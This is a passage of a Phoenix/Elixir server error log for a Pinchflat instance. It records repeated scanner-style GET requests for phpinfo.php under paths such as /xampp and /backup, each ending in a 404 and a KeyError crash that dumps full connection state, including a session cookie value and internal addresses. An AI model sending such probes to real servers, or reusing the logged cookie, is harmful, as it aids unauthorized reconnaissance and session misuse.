/laravel/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 70, host_info: :undefined (truncated) 17:14:36.543 [info] GET /dashboard/phpinfo.php 17:14:36.543 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=607.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:36.544 [debug] QUERY OK source="settings" db=0.1ms idle=545.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:36.544 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:36.544 [error] #PID<0.11838.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 71) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /dashboard/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dashboard/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 71, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11838.0>, params: %{}, path_info: ["dashboard", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/dashboard/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXWUDcsjR6bYABWCB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 71, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dashboard/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 71, host_inf (truncated) 17:14:36.799 [info] GET /helper/phpinfo.php 17:14:36.800 [debug] QUERY OK source="settings" db=0.2ms idle=801.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:36.800 [debug] QUERY OK source="settings" db=0.0ms idle=529.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:36.800 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:36.800 [error] #PID<0.11839.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 72) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /helper/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /helper/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/helper/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 72, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11839.0>, params: %{}, path_info: ["helper", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/helper/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXXRMBuQOsGEABWEB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/helper/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 72, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /helper/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/helper/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 72, host_info: :undefined (truncated) 17:14:37.055 [info] GET /xampp/phpinfo.php 17:14:37.056 [debug] QUERY OK source="settings" db=0.1ms idle=512.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:37.056 [debug] QUERY OK source="settings" db=0.0ms idle=512.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:37.056 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:37.057 [error] #PID<0.11840.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 73) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /xampp/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /xampp/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/xampp/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 73, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11840.0>, params: %{}, path_info: ["xampp", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/xampp/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXYOSPFHqzIcABWGB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/xampp/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 73, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /xampp/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/xampp/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 73, host_info: :undefined }}, (truncated) 17:14:37.312 [info] GET /backup/phpinfo.php 17:14:37.312 [debug] QUERY OK source="settings" db=0.2ms idle=512.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:37.312 [debug] QUERY OK source="settings" db=0.1ms idle=512.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:37.312 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:37.313 [error] #PID<0.11841.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 74) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /backup/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backup/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backup/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 74, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => 